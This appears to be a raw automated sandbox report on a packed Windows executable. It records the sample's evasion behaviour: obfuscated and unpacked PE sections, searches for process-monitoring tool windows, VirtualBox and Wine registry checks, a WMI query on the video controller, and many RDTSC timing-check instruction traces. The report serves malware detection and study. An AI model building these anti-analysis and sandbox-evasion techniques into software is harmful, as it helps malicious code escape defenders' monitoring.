Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: pVbAZEFIpI.exe

Static file information: File size 2972160 > 1048576

Source: pVbAZEFIpI.exe

Static PE information: Raw size of jnzfjdyd is bigger than: 0x100000 < 0x2abe00

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: pVbAZEFIpI.exe, 00000000.00000002.1879149324.00000000060D2000.00000040.00000800.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe

Unpacked PE file: 0.2.pVbAZEFIpI.exe.440000.0.unpack :EW;.rsrc :W;.idata :W;jnzfjdyd:EW;specksbu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;jnzfjdyd:EW;specksbu:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: pVbAZEFIpI.exe

Static PE information: real checksum: 0x2e355e should be: 0x2da088

Source: pVbAZEFIpI.exe	Static PE information: section name:
Source: pVbAZEFIpI.exe	Static PE information: section name: .rsrc
Source: pVbAZEFIpI.exe	Static PE information: section name: .idata
Source: pVbAZEFIpI.exe	Static PE information: section name: jnzfjdyd
Source: pVbAZEFIpI.exe	Static PE information: section name: specksbu
Source: pVbAZEFIpI.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_01056A28 pushad ; iretd	0_3_01056A29
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_01056A28 pushad ; iretd	0_3_01056A29
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_0105C756 pushfd ; iretd	0_3_0105C781
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_0105C756 pushfd ; iretd	0_3_0105C781
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_01056798 push cs; iretd	0_3_01056799
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_01056798 push cs; iretd	0_3_01056799
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Code function: 0_3_010AC8E2 pushad ; iretd	0_3_010AC919

Source: pVbAZEFIpI.exe

Static PE information: section name: entropy: 7.975172181974604

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 499663 second address: 499671 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007FEB853E322Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61A0A5 second address: 61A0CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEB84D86D00h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FEB84D86CFAh 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61A268 second address: 61A26C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61A26C second address: 61A27E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007FEB84D86CF6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61A27E second address: 61A282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61A282 second address: 61A286 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61A286 second address: 61A2AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEB853E3239h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61A2AB second address: 61A2AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61A2AF second address: 61A2C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 jmp 00007FEB853E322Dh 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61A2C8 second address: 61A2CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61A430 second address: 61A43E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FEB853E3226h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61A43E second address: 61A444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61CD3A second address: 61CD56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB853E3233h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61CD8E second address: 61CD92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61CD92 second address: 61CDE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FEB853E3228h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push edx 0x00000029 call 00007FEB853E3228h 0x0000002e pop edx 0x0000002f mov dword ptr [esp+04h], edx 0x00000033 add dword ptr [esp+04h], 00000017h 0x0000003b inc edx 0x0000003c push edx 0x0000003d ret 0x0000003e pop edx 0x0000003f ret 0x00000040 push A5C4D4ECh 0x00000045 pushad 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61CDE3 second address: 61CE65 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEB84D86CF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007FEB84D86CF8h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 add dword ptr [esp], 5A3B2B94h 0x0000001a mov edx, dword ptr [ebp+122D2CA0h] 0x00000020 mov dword ptr [ebp+122D36F8h], eax 0x00000026 push 00000003h 0x00000028 mov edx, dword ptr [ebp+122D2F0Ch] 0x0000002e push 00000000h 0x00000030 jmp 00007FEB84D86D05h 0x00000035 push 00000003h 0x00000037 mov edx, 0D0B85ACh 0x0000003c call 00007FEB84D86CF9h 0x00000041 pushad 0x00000042 jmp 00007FEB84D86CFEh 0x00000047 jl 00007FEB84D86CF8h 0x0000004d push ecx 0x0000004e pop ecx 0x0000004f popad 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 push edi 0x00000055 pop edi 0x00000056 jmp 00007FEB84D86CFEh 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61CE65 second address: 61CE7E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 js 00007FEB853E3226h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 ja 00007FEB853E3226h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61CE7E second address: 61CEC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86D02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FEB84D86CFCh 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 popad 0x00000013 mov eax, dword ptr [eax] 0x00000015 push esi 0x00000016 jmp 00007FEB84D86CFFh 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61CEC2 second address: 61CEC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61CEC6 second address: 61CED0 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEB84D86CF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61CED0 second address: 61CF3D instructions: 0x00000000 rdtsc 0x00000002 js 00007FEB853E3230h 0x00000008 jmp 00007FEB853E322Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop eax 0x00000010 push 00000000h 0x00000012 push eax 0x00000013 call 00007FEB853E3228h 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d add dword ptr [esp+04h], 0000001Bh 0x00000025 inc eax 0x00000026 push eax 0x00000027 ret 0x00000028 pop eax 0x00000029 ret 0x0000002a mov si, DE3Ch 0x0000002e lea ebx, dword ptr [ebp+12457C4Fh] 0x00000034 push 00000000h 0x00000036 push edx 0x00000037 call 00007FEB853E3228h 0x0000003c pop edx 0x0000003d mov dword ptr [esp+04h], edx 0x00000041 add dword ptr [esp+04h], 00000016h 0x00000049 inc edx 0x0000004a push edx 0x0000004b ret 0x0000004c pop edx 0x0000004d ret 0x0000004e mov dword ptr [ebp+122D1D75h], edi 0x00000054 xchg eax, ebx 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61CF3D second address: 61CF5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86D09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61D034 second address: 61D03A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61D03A second address: 61D0AF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86CFFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007FEB84D86D06h 0x00000014 jl 00007FEB84D86CF6h 0x0000001a popad 0x0000001b pushad 0x0000001c jmp 00007FEB84D86D08h 0x00000021 jng 00007FEB84D86CF6h 0x00000027 popad 0x00000028 popad 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d push eax 0x0000002e push edx 0x0000002f js 00007FEB84D86D08h 0x00000035 jmp 00007FEB84D86D02h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61D0AF second address: 61D119 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEB853E3236h 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop eax 0x0000000e mov edi, dword ptr [ebp+122D2DC4h] 0x00000014 je 00007FEB853E322Bh 0x0000001a sub si, 013Ch 0x0000001f push 00000003h 0x00000021 xor edx, dword ptr [ebp+122D2D00h] 0x00000027 push 00000000h 0x00000029 call 00007FEB853E3239h 0x0000002e mov dword ptr [ebp+122D2A6Bh], ebx 0x00000034 pop ecx 0x00000035 push 00000003h 0x00000037 mov di, 55E1h 0x0000003b push A6F95E79h 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61D119 second address: 61D124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FEB84D86CF6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61D124 second address: 61D133 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEB853E322Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61D21F second address: 61D226 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61D226 second address: 61D2EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FEB853E3226h 0x00000009 jmp 00007FEB853E3237h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 nop 0x00000012 push 00000000h 0x00000014 sub dword ptr [ebp+122D1C69h], esi 0x0000001a push 392A984Ch 0x0000001f pushad 0x00000020 pushad 0x00000021 jns 00007FEB853E3226h 0x00000027 jg 00007FEB853E3226h 0x0000002d popad 0x0000002e pushad 0x0000002f ja 00007FEB853E3226h 0x00000035 push edi 0x00000036 pop edi 0x00000037 popad 0x00000038 popad 0x00000039 xor dword ptr [esp], 392A98CCh 0x00000040 mov ecx, edi 0x00000042 push ebx 0x00000043 js 00007FEB853E3228h 0x00000049 push ecx 0x0000004a pop ecx 0x0000004b pop edi 0x0000004c push 00000003h 0x0000004e and si, 90B8h 0x00000053 push 00000000h 0x00000055 mov dword ptr [ebp+122D29D9h], esi 0x0000005b push 00000003h 0x0000005d mov dword ptr [ebp+122D36F8h], eax 0x00000063 push AAFDA1C1h 0x00000068 pushad 0x00000069 jmp 00007FEB853E3235h 0x0000006e js 00007FEB853E3228h 0x00000074 popad 0x00000075 xor dword ptr [esp], 6AFDA1C1h 0x0000007c mov dword ptr [ebp+122D3D9Eh], edi 0x00000082 lea ebx, dword ptr [ebp+12457C63h] 0x00000088 stc 0x00000089 xchg eax, ebx 0x0000008a push eax 0x0000008b push eax 0x0000008c push edx 0x0000008d jmp 00007FEB853E3235h 0x00000092 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61D2EC second address: 61D2F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 61D2F0 second address: 61D2FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 63D832 second address: 63D838 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 63B688 second address: 63B695 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEB853E3226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 63B695 second address: 63B69B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 63B69B second address: 63B6C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FEB853E3226h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FEB853E322Bh 0x00000011 jc 00007FEB853E3226h 0x00000017 jc 00007FEB853E3226h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 63B6C5 second address: 63B6C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 63BF69 second address: 63BF89 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FEB853E3226h 0x00000008 jmp 00007FEB853E3236h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 63BF89 second address: 63BF91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 63BF91 second address: 63BF95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 63C801 second address: 63C809 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 63C809 second address: 63C80F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 63C80F second address: 63C835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007FEB84D86D09h 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 63D178 second address: 63D193 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FEB853E3226h 0x00000009 jmp 00007FEB853E3230h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
